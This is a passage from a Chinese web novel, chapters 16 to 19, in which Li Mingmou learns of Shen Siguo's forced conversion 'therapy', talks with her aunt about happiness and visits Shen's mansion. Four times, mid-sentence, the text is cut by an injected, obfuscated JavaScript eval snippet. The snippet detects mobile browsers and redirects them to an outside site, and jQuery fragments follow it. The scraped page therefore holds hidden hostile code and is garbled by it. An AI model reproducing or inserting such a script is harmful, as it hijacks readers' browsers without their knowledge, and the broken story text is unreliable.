她翻了翻沈思过的用药记录和治疗记录,发现这个病院不太正规——沈思过竟然在里面接受过电击矫正,并且高达16次。
正规的精神病院,不会提供电击矫正治疗,尤其还是应对“重大事故创伤后遗症”的治疗。
这很明显是一个错误的治疗方案。
沈思过不是海市前首富的儿子吗?发生在他身上的事情,可以称得上是一场医疗事故了……
但这个精神病院现在还好好的。
李明眸把沈思过的诊疗记录由头到尾翻完,发现一个奇怪的地方:这个治疗记录有删节。
但资料迁移过几遍,她找不到原始记录了。
她想了想,在诊疗系统上找到了沈思过的主治医生的远程连接记录。
然后又顺着后台的日志,找到了这个主治医生的私人电脑。
这大概是一个很粗心的心理医生,因为他不但开错了治疗方案,也没有给自己的私人电脑设置密码。
花了并不长的时间,李明眸很快登入了这个人的电脑,她大概检索了一下,发现里面有543个视频,46条录音,和1789个文档。
她随便点开几个视频看了一下,然后眼前一黑……
竟然全都是色情内容。
她也不想一个个点开来看,调出了安琪——一个她自己研发的AI——让它帮忙找沈思过的资料。
半小时过去后,她得到了三条剪辑过的录音,一条35分钟,一条40分钟,一条23分钟,全都是沈思过和这个主治医生的谈话记录。
她把这三条录音听完后,得知了一个在网上从未出现过的新信息,愣在电脑前——沈思过在“向阳精神康复中心”的治疗项目,不是“重大事故创伤后遗症”,而是“同性恋矫正”。
这是一个违反心理治疗伦理的医疗方向,因为同性恋不是疾病。
而把沈思过送进精神病院,并强迫他进行同性恋矫正的,正是他的父亲,前海市首富,沈梦庭。
沈家对骆颖的大度接受,似乎有了答案——就算是拍过三级片的艳星,也比男人好。
但沈家人大概不知道,骆颖大概也不知道,在这段看似正常的婚姻中,沈思过对自己的继子,有着异乎寻常的关注。
但以上这些信息,都不是让李明眸最悚然的。
她听完那三条录音,发现沈思过在这三条音频中,反复讲起他跟一个叫程锦程的同性恋人的一天。
他用一种神经质的语气,说起自己跟程锦程在那一天是多么快乐:那天的天空是如何地蓝,他们笑得如何开心,他们还一起帮助了一个迷路的三岁小女孩。他们带着小女孩玩,帮她找到了父母。
那一天是2003年8月15日,是弗雷娜船难发生的那一天。
沈思过在三条音频里反复说起这一天。在他的讲述中,这一天是如此特别,是他一生中最美好的一天。
李明眸微微发着抖,退出了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396229|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个主治医生的私人电脑。
随后,她在网上找到弗雷娜船难的死亡名单,她没有让安琪检索,她就沿着那张名单,一个名字一个名字地默念下去。
念到第342人的时候,她看到了程锦程的名字。
程锦程死在了2003年8月15日。
*** ***
姨妈来电话的时候,李明眸正躺在床上,裹着自己的被子。
她放弃了检索沈思过的隐私,反正这人的人生轨迹,也大概能猜出来了。
她原本是抱着审判的心态去调查他的资料,真看完后,又觉得大概没有人有资格审判别人吧。
姨妈在电话里问她玩得怎么样,她这才恍然想起来,她答应了姨妈给她打电话,但忘记了。
姨妈最近在出差,她正在接洽沈思过给她介绍的海洋研究中心临时研究员的工作。虽然出差在外,但她一直都很记挂李明眸的进展。
她希望李明眸能答应进入剧团,有更好的生活状态。
姨妈在电话里问:“今天上船,弗雷娜号有给你留下什么特别感觉吗?”
李明眸漫不经心回答:“还好吧,没有特别的感觉。”她一直在想沈思过的事情。
她回答完姨妈的问题,支支吾吾的,不知道该怎么跟姨妈说,自己不能去《弗雷娜》剧团了。
她不想去,那里有很麻烦的人,和很麻烦的事情。
但没等她找好措辞,姨妈就很快乐地说:
“太好了,你以后会交到朋友的。你今天在船上跟大家相处得怎么样?里面有你不讨厌的人吗?”
她大概误解了李明眸刚刚的回答,以为她今天玩得还不错。
李明眸僵住了,她不想撒谎,她回答不上来这个问题。
姨妈没等她回复,自顾自地展开了李明眸以后的生活。
在姨妈的想象里,李明眸非常好,只要她愿意跟大家交往,大家就会发现,她是一个很可爱的人。
她会被很多人喜爱,做什么都有人支持。她想分享快乐的时候,会有人陪她一同开心,她痛苦难过的时候,也会有人陪她一同哭泣。
“你一定会幸福快乐的,明眸。”
她用一种爽朗的语气总结。
李明眸无法回应她这番话。
姨妈刚说完这些话,电话里就传来她同事催促她看数据的声音。
李明眸刚刚想说的话,已经彻底说不出来了,于是便顺着姨妈同事的话,干巴巴地附和:“我会好好过的,你去忙工作吧。”
这场聊天,就这么中断了。
*** ***
挂断电话后,李明眸度过了多梦的一晚。
她梦见自己在弗雷娜号上四处奔逃,身后有什么东西在追逐她。她非常害怕,却怎么也看不清楚那个东西是什么。
醒来之后,她感觉头重脚轻,仿佛是上火了——昨天吃的榴莲终于还是起了效用。
她汲着拖鞋,准备到厨房煲安神下火汤。
她小时候是个体虚的孩子,容易生病、容易受惊、还容易上火。无论她有什么毛病,姨妈都会给她煲这个汤。
神奇的是,明明听着不对症,但每次都能把她喝好……
她在橱柜翻了一下药材,发现莲子心用完了。于是她又来到玄关,穿好鞋,准备去药店买莲子心。
结果打开大门,姨妈竟然出现了在门外。
就像上次李明眸在外面站了很久,没有敢进来一样,姨妈仿佛也在外面站了很久,看到门打开的一瞬间,她还愣了一下。
李明眸有些惊诧,还有些心虚:“姨妈,你怎么回来了?”不是还在出差吗?
姨妈没有回答这个问题,她就那么站在门口,愣愣看着李明眸。
李明眸打量了一下姨妈,发现她提着一个药店的袋子,里面仿佛是安神下火汤的药材。
然后她脸色苍白地问了一句话:“明眸,你昨晚是不是昏倒了?”
17. 幸福生活
姨妈声音沙哑:“沈导演跟我说,你昨天在船上昏倒了。我昨晚给你电话,你怎么没有告诉我?”
李明眸的第一反应,是自己做错了事情。
姨妈的工作好不容易有一点起色,她却没有尽好自己的本分。她没有能力处理好自己的生活,在外面到处昏倒,让姨妈担心,导致她提前结束出差……
道歉的话来到了喉咙,下一刻就要脱口而出。
但姨妈的反应却跟她想象的不同。
姨妈没有继续问别的问题,也没有说任何话,她的眼眶渐渐红了。
李明眸更惊慌了,她宁愿姨妈骂她一顿,说她不够坚强,做得不够好。
她无措地解释:“这不是什么大事,跟别人和弗雷娜都没有关系,只是我自己吃多了榴莲……”
她还没说完,姨妈就走了上来,紧紧抱住她。
这个突如其来的拥抱让李明眸有些紧张,她的身体绷得很紧。随着她的身体绷紧,姨妈的拥抱越来越用力。
风从走廊窗户灌入,裹着清晨的空气和阳光,抚到了李明眸脸上。她的心如同被春风拂过的湖面,泛起一圈圈柔和的涟漪,渐渐平静,身体也放松下来。
两个人拥抱着,谁都没有说话。
李明眸看着姨妈掉落在地的药袋,莲子心从里面洒出来,骨碌碌滚出几圈,缓缓停在她脚下。
在这个用力到让人微微窒息的怀抱中,李明眸渐渐反应过来:在姨妈心里,只要她昏倒了,无论是因为什么原因,都是一件很大很大的事情。
*** ***
一小时后,两人面对面地坐在饭桌上,饭桌中间摆着一锅刚煲好的安神下火汤。
李明眸稍微有些不自在,在椅子上微微弓着背。
姨妈的眼睛仍然有些红,她认真注视李明眸,语气温柔:“你怎么看待我之前让你去看心理医生,和让你去《弗雷娜》呢?”
李明眸低着头:“我感觉……给你造成了很大的不便。我希望你能安心些,所以去看心理医生了,但我不能去剧团……”她的头垂得更低了,“我不想去……”
她终于还是说了出来。
姨妈缓缓道:“其实昨晚在电话里,我听出来了,你想跟我说退出《弗雷娜》的事情,但是你说不出口,我就假装不知道了。”
李明眸抬头看她。
“我还知道你不想去看心理医生。但我觉得我该帮你做这些事情……就像赵医生为她儿子做的那样。”
李明眸反应很大:“那样很累!你做得够多了,可以做想做的事情!”
姨妈莞尔:“我也希望你可以做自己想做的事情。”
李明眸抿紧嘴唇。
两人沉默一会,姨妈继续说:
“今天早上沈思过告诉我,我才知道你昨天在弗雷娜号上晕倒了。我感觉很羞愧。
“我让你去看心理医生、加入《弗雷娜》,是为了让你幸福快乐,不是为了给你造成负担。
“但无论我是怎么考虑的,我都造成了实质上的负担。”
李明眸不知道姨妈怎么得出的这个结论,慌张解释,声音很大:“你没有给我造成负担!”
姨妈笑了笑:“你这样看起来很好,就这个大声说话的样子。总算不是我说什么,你都答应同意了。
“我让你吃香菜,就是为了看你这个表情……”
李明眸涨红了脸,有些生气地重复:“我现在很严肃!你没有给我造成负担!”
姨妈的微笑平息下来:“可是明眸,你上面说,你觉得自己给我造成了很大不便,但我从来没有这样的想法。
“所以这会不会是你的想法呢?造成不便的人是我——是我给你造成了不便。”
李明眸听不懂这句话,迷茫地看着姨妈。
“我做这一切,不是为了勉强你做我喜欢的事情。我只是希望你幸福。有很多朋友、有喜欢的男生是幸福——但这只是关于幸福的很多定义中的一个。”
姨妈认真看着李明眸,郑重问她,
“你现在的想法呢?你觉得怎样的生活是幸福快乐的?”
李明眸就着姨妈的话反问:“为什么幸福就是有朋友和喜欢的男生?”这个关于幸福的规定未免太窄了。
在草原看成群的野牛奔腾而过,用天文镜捕捉超新星转瞬即逝的爆发,攻克一个又一个技术难题,直到取得学术殿堂的桂冠,这难道不算幸福吗?
这明明这是很浅显的讨论,姨妈却意外露出一个凝重的表情。
她的目光似是被一层浓雾笼罩,语气意味深长:“为什么幸福是有朋友和喜欢的男生?我不能告诉你。但你可以自己想起来。”
你可以自己想起来?
李明眸莫名联想到那座高塔,没由来地惊慌起来。她赌气道:“可是我感觉现在也很好。我不喜欢男生,也不喜欢朋友。为什么人一定要有朋友?”
姨妈为她的孩子话莞尔一笑:“当然不一定要有。我就没有朋友,也没有喜欢的男人。”
李明眸瞪大眼睛看着她。
“可是明眸,人是要有选择的。当你能够交朋友的时候,你可以选择交朋友,也可以选择不交朋友,这是每个人的自由。
“可是当一个人没得选的时候,你怎么知道你没有的那个东西,是你真的不想要的呢?”
这个问题赵医生也问过。
李明眸沉默不语。
看她良久不说话,姨妈语气放温和了些:“先不想这些问题。我只说一件事:如果你想退出《弗雷娜》,我同意了。”
说完这句话,姨妈停下想了一会,作出结论:“但我们之前领了沈导演的情,如果要拒绝,得当面去找他道歉——我们一起去。”
李明眸小声问:“不是说一定要交朋友吗?因为要有得选。”这意思不就是要留在《弗雷娜》吗?
姨妈耸耸肩:“我没那么说。我说的是,以后你得自己去思考这个问题了。我不会再勉强你做任何事,所以你得自己寻找一种你觉得幸福快乐的生活。”
她语气很严肃:“你必须自己做,这会更难。”
两人谈话的后半段,基本都在说过几天去沈思过家道歉的事情。
姨妈非常烦恼,不知道要怎样做,才在礼数上比较周到——毕竟她确实承了沈思过的情,海洋研究中心的工作已经确定下来了,她过阵子就要去那里出差。
李明眸没办法集中精神听,姨妈刚刚说的那番话,仿佛在她心中投下了一片阴影,遮蔽了她的注意。
明明事情进展顺利,她不但可以退出《弗雷娜》,以后可能也不用再去看心理医生了,但她却觉得心里空落落的。
姨妈的问题隐隐让她恐慌:你觉得怎样的生活是幸福快乐的?
她发现自己有点逃避思考这个问题。
*** ***
等到确认了去找沈思过道歉的日子,并把一大锅安神下火汤喝完后,这场谈话就结束了。
李明眸游魂一样回到房间,打算找点事情做一下,好转移注意力。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396230|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打开异象画册,准备把这几天看到的异象画下来。
首先是《441》和《442》,蓝色头发的男生,和蓝色头发的女生。
没有皮肤屏障的、跟外界任意交融的异象,还有双腿之间不停流出腐臭的黑血——这两个异象她都猜不太准。
然后是《443》的沈思过。
沈思过的异象很有欺骗性,她跟他接触了两次,才发现这个人有异象。
但看到他的异象后,她感觉他的秘密倒是很好猜的:穿着光鲜皮囊,内里却高度腐烂的、表里不一的人。
画到骆绎声的时候,她停顿了很久。
她本来想跟以往一样,照着顺序命名骆绎声的异象,那么它该是《444》。但这个数字未免太不美丽,显不出这幅画的特别。
这幅画也许是李明眸血淋淋的画本里最特别的一幅了,像是在丑陋世界里开出来的一朵独一无二的花。
她拿起马克笔,犹豫了一下,最后还是在画上提了两个字,“沙耶”。
“沙耶”来自《沙耶之歌》。
《沙耶之歌》是这么一个故事:
男主角郁纪遭遇车祸后,视觉发生了病变。他看到的世界到处都布满了内脏和腐肉,人们看上去就像会移动的肉块状怪物,大家说话的声音则变成了怪兽的刺耳嘶鸣,连平常吃的食物都变得令人作呕,散发出尸体的味道。
在郁纪的眼里,他的朋友和女朋友都变成了怪物,所以他自然而然地疏远他们,变成了孤独一人。
后来郁纪在医院遇到了躲藏的沙耶。
沙耶害怕所有人,人们恐惧她、攻击她、疏远她,因为她是一个由肿瘤和腐肉组成的可怖生物。
她非常孤独。
只有郁纪不害怕她,因为在郁纪眼中,所有人都是移动的腐肉块,只有沙耶是美丽的少女。
两个孤独的生物,因为病态的理由走到一起,成为了彼此的救赎。
在《沙耶之歌》里,郁纪在遭遇车祸后,看到的世界变得扭曲。只有沙耶维持着少女的模样,是郁纪仅剩的美丽和愿望。
在现实世界里,李明眸在遭遇船难后,开始看到别人的痛苦秘密,那些秘密异象里,全都是腐烂的血肉和伤口,只有骆绎声的秘密是美丽的。
所以李明眸把骆绎声的异象画命名为《沙耶》。
只有她一个人能看到的美丽生物。古怪的沙耶。
李明眸画下骆绎声的异象,猜测着他的秘密:为什么是赤身裸.体呢?他和沈思过的真实关系是怎样的呢?还有昨天晚上,他为什么要帮助自己?
她摆脱了姨妈的问题,陷入新的思绪,有些出神。
她回想起在舞会上,自己体验到的那种陌生感情,那种焦躁的、骚动的、像是热病一样的感情,它到底是什么呢?
就在这时,纪录片的旁白从她身后响了起来:“越美丽的生物越危险,比如兰花螳螂……”
她回过头去,看到屏幕上正在介绍一只斑斓的昆虫捕食的画面。她常年在房间里播放《动物世界》,刚好今天播到兰花螳螂。
兰花螳螂是螳螂目中最漂亮的一种,拥有花瓣状的腿型,和粉、白、紫三色相间的体色。
它能伪装成花朵,凭借亮丽的体色吸引前来传粉的昆虫,当受害昆虫靠近时,便挥动有力的前肢将其牢牢抓住,再用锋利口器将其搅碎杀死。
李明眸看着兰花螳螂猎食的画面,看到那些被捕昆虫的残肢掉落在地上,生生打了个冷战,猛地把骆绎声的异象画盖上。
18. 蔷薇美人
姨妈询问了沈思过的日程,确定了上门拜访的日期。
这一天到来的时候,李明眸终于开始紧张。
她没怎么跟有异象的人相处过——除了赵医生——但凡看到一个有异象的人,她都会远远躲开,更别说上前跟对方说话了。
她必须假装什么都没看到,还要在这个前提下,在沈思过和骆绎声面前做到礼数周到。
这对她来说有点难。
她提前一天让安琪搜集了一些社交辞令,跟姨妈坐上去目的地的出租车时,她还在耳机里让安琪给自己特训。
姨妈和司机都被她紧张的样子逗笑了,但等出租车驶进“海湾半岛”后,姨妈和司机也跟着紧张起来。
李明眸看着窗外的景色变化,不知不觉忘记了社交特训,连安琪都跟着沉默了。
李明眸原来对有钱人住所的想象,就是大一点的别墅。
但真来到沈思过说的“海湾半岛”后,她发现有些细节是自己想象不出来的。
“海湾半岛”不是普通的别墅区,而是占据着城市最稀缺的环礁湖景观,每一寸土地都价值连城的“城中孤岛”。
它是海市最隐秘的富人居住区。
出租车登岛后,拐上了一条宽阔洁净的林荫大道。路两旁的行道树是精心修剪过的名贵树种,郁郁葱葱,投下大片浓荫。路面上几乎看不到落叶或杂物,干净得仿佛被水冲洗过。
空气也陡然不同了,不再是城区那种混合着油烟、海风和拥挤人潮的复杂气味,而是弥漫着草木的清新,和一种近乎奢侈的宁静。
偶尔经过几户人家,都被高高的铁艺围墙或者浓密绿篱挡住,只露出精致的屋顶一角。
李明眸没想象到的那个点是——这里明明离市区不远,却安静得异乎寻常。
这里听不到小贩的叫卖、孩子的嬉闹或是邻居的争吵,只有轮胎碾过路面的沙沙声和风吹过树叶的细碎声响。车窗外的世界仿佛被一层无形的玻璃罩子隔开了,安静、整洁、秩序井然得有些不真实。
李明眸出神看着窗外,增加了一个新的认知:原来安静也是可以花钱买的,只是很昂贵。
司机的车开得很慢。他也在看外面,一边看一边感慨:“我家几代渔民,这还是我第一次来这种地方……海湾半岛的人不打出租车。”
姨妈笑道:“说不定你爸妈来过,这里以前是个渔场。”
“啊?海湾半岛喔?!”
“环礁湖的鱼类很丰富的……”
两人说话间,出租车沿着蜿蜒的道路深入,最终在一扇巨大的、紧闭的黑色雕花铁门前缓缓停下。
姨妈对了一下门牌号和沈思过给的地址,发现能对上,就让出租车先走了,然后跟李明眸步行到铁门前。
门卫确定了李明眸和姨妈的身份后,铁门才无声地向内划开。
没错,沈思过家竟然有门卫。
李明眸吃了一惊,终于切实感受到沈思过“海市前首富儿子”的这个身份。
但想到沈梦庭对沈思过做的事情,她心情又有点复杂,觉得当普通人也挺好的,胜在没有风险。
*** ***
从雕花铁门进去后,姨妈和李明眸才发现,不应该那么早让出租车走的,因为里面太大了……
铁门里面的,与其说是一栋房子,还不如说是一座微型城堡。
这座微型城堡依着地势而建,错落有致,向两侧延展的翼楼仿佛拥抱着前方一片巨大得惊人的镜面水池,水池尽头便是波光粼粼的私人海湾。
这里看不到所谓的“邻居”。最近的另一处豪宅,也远在百米开外,被高大的树木和起伏的地形巧妙地隔开,只能隐约看到屋顶的轮廓。
按照门卫的说法,要进去会面的地方,还要走约莫五分钟。
姨妈抬头看了一下头顶的烈日,顿时噎了一下。
此时姨妈的电话响了起来——是沈思过打来的。他让她们在门口等一下,说他亲自出来接她们。
不知道两人在电话里聊了什么,姨妈一边说话一边张望,往一个方向走去,让李明眸在原地候着。
门卫早就回了岗位,李明眸自己在树荫下站了一会,看到不远处的一个玻璃建筑,好奇地往那边走去。
走近了后,她看到玻璃屋里面郁郁葱葱的——这是一个半开放的玻璃花房。
走进花房后,她的脚步缓缓停了下来,目光陡然被眼前景象牢牢粘住。
在葱郁繁茂的花枝间,一个赤.裸的男人正专注地修剪着花枝。
是骆绎声。
花房内有一面篱笆墙,大约两米多高,上面缠满了爬藤玫瑰。
那些玫瑰是红色的,深深不一的红,像是火焰,又像是霞彩。浓郁而醇厚的红色肆意绽放着,层层叠叠簇拥在一起,将整个篱笆墙都装点成了一片绚丽夺目的花海,像是要把所有生机都毫无保留地释放出来。
在这明艳的背景下,骆绎声赤.裸的身躯显得格外引人注目。
他的皮肤比李明眸记忆中的更加白皙。那天在宴会厅的柔光笼罩下,他的肌肤流淌着一层蜜色,让人联想到粘腻的、过分亲密的触感。
此刻在澄澈阳光下,他的肌肤还原了本来的颜色,透着一种近乎清冷的白皙,与周围热烈艳丽的玫瑰丛形成了鲜明对比。
在强烈的视觉冲击下,李明眸莫名想到“荼蘼”这个词。她仿佛看到那洁白的肌肤深陷在玫瑰丛中,被花瓣染上深深浅浅的红色……
玫瑰的芬芳似乎在这一瞬间变得馥郁,隐隐透出一股甜腻的气息,让人不自觉地心跳加快。
察觉到自己的脸颊开始燥热,李明眸下意识移开了目光。
但是下一刻,她又停下转头的动作,回想起之前画《沙耶》时的场景。
她画骆绎声的异象画的时候,总有一种自己在画春宫图的感觉。她是从他心口的朱砂痣开始画的。才刚画了一颗痣,她就开始觉得羞耻。
可等画完后,她才发现,没什么好羞耻的——因为那幅画上面的空白太多了。
骆绎声的腰侧肌肉是怎样的?小腿的线条怎么样?大腿应该粗一点还是细一点?
这些部分都是空白的,因为李明眸当时没敢看。
亏她还这么认真地羞耻,她压根也没看到多少真正羞耻的东西。
她竟然觉得有点亏。
她不会有机会再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396231|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看到这样的异性裸.体了——这可不是在AV里看到的,而是面对面的。
退出《弗雷娜》后,两人不会再有交集,她能看到这副裸.体的机会,也就只有今天了。
想到这茬,她把头转了回去,死死盯住骆绎声——起码她可以把《沙耶》补全。
为了防止自己在无谓的羞耻心中移开目光,她把眼睛瞪到最大,并且禁止自己眨眼睛。
一会过后,她瞪大的双眼开始浮现出红血丝……
两个佣人打扮的阿姨提着打扫用具,从李明眸不远处经过,窃窃私语:
“这是今天来的客人吧,她在锻炼眼睛吗……”
“她在看小骆先生。”
“哦,那难怪。”
“小骆今天穿这衣服没见过,打扮得怪好看的。”
两个阿姨走远后,李明眸脸红红的,也好奇起来:他打扮了?他穿的什么?
她好奇地打开手机摄像头,在镜头里观察骆绎声。
镜头里的骆绎声穿得很严实,外套是一件全身包裹的修身黑色风衣,里面是遮住半个下巴的高领毛衣,手上还带着一副黑色的皮手套。风衣的帽子也被他戴上去了,遮住了上半边脸,显得很有神秘感。
他这打扮确实挺有造型感的,简直可以现场去走秀了……不过在家需要穿得这么讲究吗?她有些困惑。
她准备收起手机的时候,不小心对着骆绎声按下了拍摄键,“咔嚓”一下,一声超级大声的快门声后,闪光灯亮了一下……
骆绎声修剪花枝的动作顿住了,往快门声的方向看过来。
然后他看到了躲在花房后面的李明眸。她的手从篱笆墙里探进来,手上拿着一只怼着他脸拍的手机。
李明眸拿着手机的手抖了一下,她故作镇定地对着前置摄像头,僵硬地比出“V”的手势,扯开嘴角笑了笑,假装自己在自拍。
骆绎声看了她一会,然后放下花枝剪,往她的方向走过来。
随着骆绎声越走越近,李明眸终于忍不住表现出慌乱的样子:不对,他为什么这个反应?他为什么朝我走来?他觉得我在偷拍他吗?(虽然刚刚确实不小心拍到了一张。)
她急忙把手机收回兜里,盲头苍蝇一样,随便挑了一个方向,朝花房外跑了起来。
刚跑出几步,身后的骆绎声也跑了起来:“等等,你跑什么?那边有狗!”
恰好此时姨妈也回来了,她坐在一辆高尔夫球车上,沈思过坐在她隔壁的驾驶位上。
她见到李明眸往高尔夫球车的反方向一骑绝尘,疑惑地叫住她:“明眸!你去哪,我们在这边!”
李明眸听到隐隐的狗吠声,十分凶恶,跑动的脚步慢了下来。她又依着惯性往前跑出几步,才最终停了下来。
她背对着骆绎声和姨妈站了一会,调整好自己的表情,才回过头来。
她扯出一个笑脸,声如蚊蚋:“我刚想看看狗。”
然后她看着地面,慢吞吞地走了回来。
在经过骆绎声身边的时候,她仿佛听到一声浅浅的低笑。
她把头埋得更低了。
这个安琪,刚刚怎么没有上线提醒我不要跑!
19. 火焰双瞳
李明眸坐上了沈思过的高尔夫球车,听他跟姨妈聊了一路他太太骆颖养的狗。
李明眸低着头,因为丢脸和害怕,没有参与他们的聊天。
她来的路上背了一路的社交辞令,刚刚一紧张,给忘得一干二净了。
就算记得,她也没信心当着沈思过的面,说出这些寒暄的话。光是抬头看他微笑跟姨妈说笑的样子,她都会打个冷颤,不知道这个人模人样的人,什么时候会脱下人皮。
高尔夫球车驶过一片精心修剪过的草坪,车速很慢,风带着草木和远处海水的微咸气息拂过面颊。
李明眸目光掠过修剪成几何图案的灌木丛、闪着幽光的人工水池,以及远处仿佛悬于海天之间的无边泳池。这一切都巨大、空旷、精确得像一幅过于完美的蓝图,带着不真实的疏离感。
就像沈思过展现在公众面前的形象。
高尔夫球车驶过长长的庭院小径,最终来到主建筑下方,停在一扇低调却异常高大的深色木门前。
三人下了车,沈思过率先走过去,动作随意地推开厚重的门,侧身示意她们进去。
李明眸跟着姨妈迈过门槛,门内的空间瞬间包裹住她们。
高耸的挑空仿佛要将人吸进去,脚下是冰冷光滑、延伸向远处的大理石地面。光线从侧面巨大的落地窗涌入,照亮空气中微小的尘埃。
造型奇特的现代艺术品点缀在空旷的墙面上,低矮的沙发组如同岛屿般漂浮在空间的中央区域。
整个环境空旷、冷峻、一尘不染,弥漫着一种被精心控制过的“极简奢华”气息。
然而,李明眸几乎没来得及细看那些昂贵的细节。她的目光如同被磁石攫住,牢牢钉在正对着大门的那面巨大墙壁上。
那里挂着占据了整面墙的海报。
是骆颖的海报。
李明眸之前搜集沈思过报导的时候,看到很多关于骆颖的消息,众人对她有很多溢美之词。他们形容她美得像一幅油画,那份美丽会汲取观赏者的视线甚至灵魂,成为画中的养料。
她当时听到这个形容,没有特别大的触动。她看着骆颖流传在网上的一些像素颇低的街拍,觉得是挺好看的,但好像也没有别的更深刻的感觉。
这只是一个靠美丽容貌被人记住的女人。
但当她看到那面墙上挂着的骆颖的巨幅海报时,她发现自己错得离谱。
海报上的骆颖轻轻靠在一张复古丝绒沙发上,身着一件柔软的浅粉色吊带长裙,裙摆自然垂坠。一头微卷的长发如软云般散落在圆润肩头与纤细锁骨间,发梢泛着淡淡光泽。
骆颖跟她的孩子长得很像,但气质截然不同:骆绎声有隐藏的锋芒,骆颖却美得毫无防备。她表情柔和明亮,微微上扬的嘴角嵌着一对梨涡,看起来很好亲近。
她太容易让人想要亲近,又如此没有防备,让人想要把这枝玫瑰从枝头剪下来,扦插于瓶中,收藏在暗室,永远不示于人前。
也许她确实也成为了沈思过的藏品,作为他悬挂于城堡中的油画和海报。
但就算只作为藏品,画中人的眼睛也是有灵魂的,令人难以移开目光。
明明曾经是三级片艳星,骆颖的眼睛却清澈得像初融的雪水,带着一丝天真的笑意,以及很多直白坦荡的好奇。
画中人就这么直勾勾看向画外,仿佛她也对画外看着自己的人很好奇。
在这座冰冷宫殿中,画中的温暖笑容成为了唯一亮色,每一个走进这扇门的人,都会第一时间被这幅海报攫取全部的注意力。
姨妈也跟李明眸一样,看着那副海报,好一会没法说话。
几秒过去后,她才发出声音:“你太太真好看……我遗憾我的词汇量不大,只能说出这种程度的赞美。”
沈思过笑了笑,也看着那张海报,第一次露出像是痴迷、又像是迷惘的神色:
“是啊,她是这个世界上最独一无二的人,我很爱她。”
他说话间,目光移到了刚刚进来的骆绎声身上,朝他笑了笑。就像是一个男人对心爱女人儿子的、作为父亲的微笑。
那个微笑显得很普通平常,于是骆绎声也回了他一个浅淡的笑容。
姨妈留意到沈思过的眼神,感动又羡慕地叹了口气:“真羡慕你太太能遇到你这样的人,你看起来很爱她,也很欣赏她。”
李明眸听着他们说话,却一点都不觉得羡慕,只觉得心里拔凉拔凉的。
她又闻到了沈思过身上散发出的那股气味……像是死水谭一样的气味。
今天见面到现在为止,沈思过都是正常的形象。他穿着他那身完美体面的皮囊,没有露出一丝一毫的异状。
可是当提到骆颖,或者说,当他嘴上说着爱骆颖,眼睛却看向骆绎声的时候,李明眸再次闻到了那股恶臭的水腥味。
上次就是这股味道出现后不久,沈思过的皮囊就裂开了,露出了里面可怖的怪物。
所以李明眸一直提着嗓子,等沈思过的异象露出来,可是无事发生。
那股若有若无的腐烂臭味没有消失,一直萦绕在附近,沈思过的皮囊看起来变得浮肿了一些,像是要从他的身上脱下来,但那张画皮一直穿在他的身上,让他始终维持着人形。
李明眸也不知道,自己这口气该继续吊着,还是该放松下来。
*** ***
聊完骆颖,三人就在骆颖的海报下方坐了下来。
那里靠墙摆放着一张造型独特的茶几——仿佛是一块天然的巨大黑色火山岩,表面被磨得光滑如镜,边缘保留着粗粝原始的质感。围绕着它,是几张同样设计感十足、坐感却出乎意料舒适的深色皮墩。
三人就在这里完成了简单的谈话。
姨妈说明了李明眸无法加入剧团的原因,沈思过一直安静认真地听着,没有打断,也没有质疑。
到了最后,他只是有些可惜地看着李明眸,说希望以后还有机会合作。
事情进行得很顺利,奇怪的是,李明眸道歉的时候,还想着安琪能给她一些提示,但是安琪像是死机了一样安静。
幸好有没有安琪都区别不大,她很好地完成了道歉,沈思过也原谅了她——起码他是那么说的。
大概是怕她们尴尬,所以在谈话结束后,沈思过还拉着她们说了一些日常。他说骆颖的新电影快要上线了,还赠送了她们几张电影票,表现得很爱慕自己的太太。
姨妈收下电影票的时候,李明眸不动声色抬头,看向那占据了整个视野的、美得惊心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396232|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动魄的女人。
海报上那双深邃的眼睛,仿佛正静静地俯视着下方这三个人,给这场即将结束的对话,无声地笼罩上一层难以言喻的氛围。
就在谈话彻底结束,李明眸以为可以离开的时候,沈思过突然对姨妈说,有一些海洋地质学的问题想要请教一下她。
